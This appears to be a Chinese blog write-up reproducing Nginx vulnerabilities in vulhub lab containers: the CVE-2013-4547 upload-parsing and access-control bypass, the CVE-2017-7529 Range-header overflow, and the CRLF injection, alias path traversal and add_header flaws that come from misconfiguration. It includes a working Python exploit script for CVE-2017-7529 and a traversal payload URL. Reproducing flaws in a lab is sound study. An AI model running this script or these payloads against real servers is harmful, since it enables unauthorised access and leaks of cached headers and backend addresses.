vulhub漏洞复现-Nginx

Nginx

nginx是一个高性能的HTTP和反向代理web服务器。

思路

在关闭了pathinfo的情况下,只有.php后缀的文件才会被发送给fastcgi解析。
而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi,而Fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞,所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。

再举个例子,比如很多网站限制了允许访问后台的IP:

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI:/test[0x20]/…/admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/…/admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录test:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

漏洞复现

docker部署环境,后台源码发现不允许上传php一类的文件,那我们首先上传jpg文件
在这里插入图片描述
在这里插入图片描述
直接上传,上传成功后抓包访问
vulhub漏洞复现-Nginx_第1张图片
进行00截断绕过,修改第二个空格的20为00
vulhub漏洞复现-Nginx_第2张图片
发包后访问即可

vulhub漏洞复现-Nginx_第3张图片

(cve-2017-7529)Nginx整数溢出漏洞

vulhub漏洞复现-Nginx_第4张图片

HTTP range断点传输

http中的range断点传输允许客户端分批次的请求资源,这样当用户网络中断时,就不需要重头开始请求,只需要在终端的那部分开始请求就好了

Nginx Cache

nginx还可以当作一个缓存服务器,将web服务器的内容保存到服务器中, 如果客户端请求的内容已经有缓存了,那么可以直接将缓存内容返回,就需要再次请求服务器了,可降低应用服务器的负载

思路

Nginx在缓存时会将部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我们的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。当Nginx服务器使用代理缓存的情况下,攻击者通过利用该漏洞可以拿到服务器的后端真实IP

漏洞复现

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

vulhub漏洞复现-Nginx_第5张图片参考德古拉的杂货铺

配置错误导致漏洞(insecure-configuration)

docker部署后Nginx将会监听8080/8081/8082三个端口,分别对应三种漏洞。

CRLF注入漏洞

Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。

错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):

location / {
        return 302 https://$host$uri;
}
目录穿越漏洞

该问题出现在Nginx的虚拟目录配置上,也就是Alias。Alias正如其名,alias指定的路径是location的别名,不管location的值怎么写,资源的真实路径都是Alias指定的路径,例如:
Payload: http://your-ip:8081/files../ ,成功穿越到根目录:

location /margin {
    alias /home/www/margin/;
}
add_header被覆盖

Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。

如下列代码,整站(父块中)添加了CSP头:

add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;

location = /test1 {
    rewrite ^(.*)$ /xss.html break;
}

location = /test2 {
    add_header X-Content-Type-Options nosniff;
    rewrite ^(.*)$ /xss.html break;
}

但/test2的location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:
这个验证在谷歌和火狐浏览器中验证失败,可以使用IE浏览器,未弹窗,使用F12元素审查,xss被识别。

你可能感兴趣的:(vulhub,vulhub)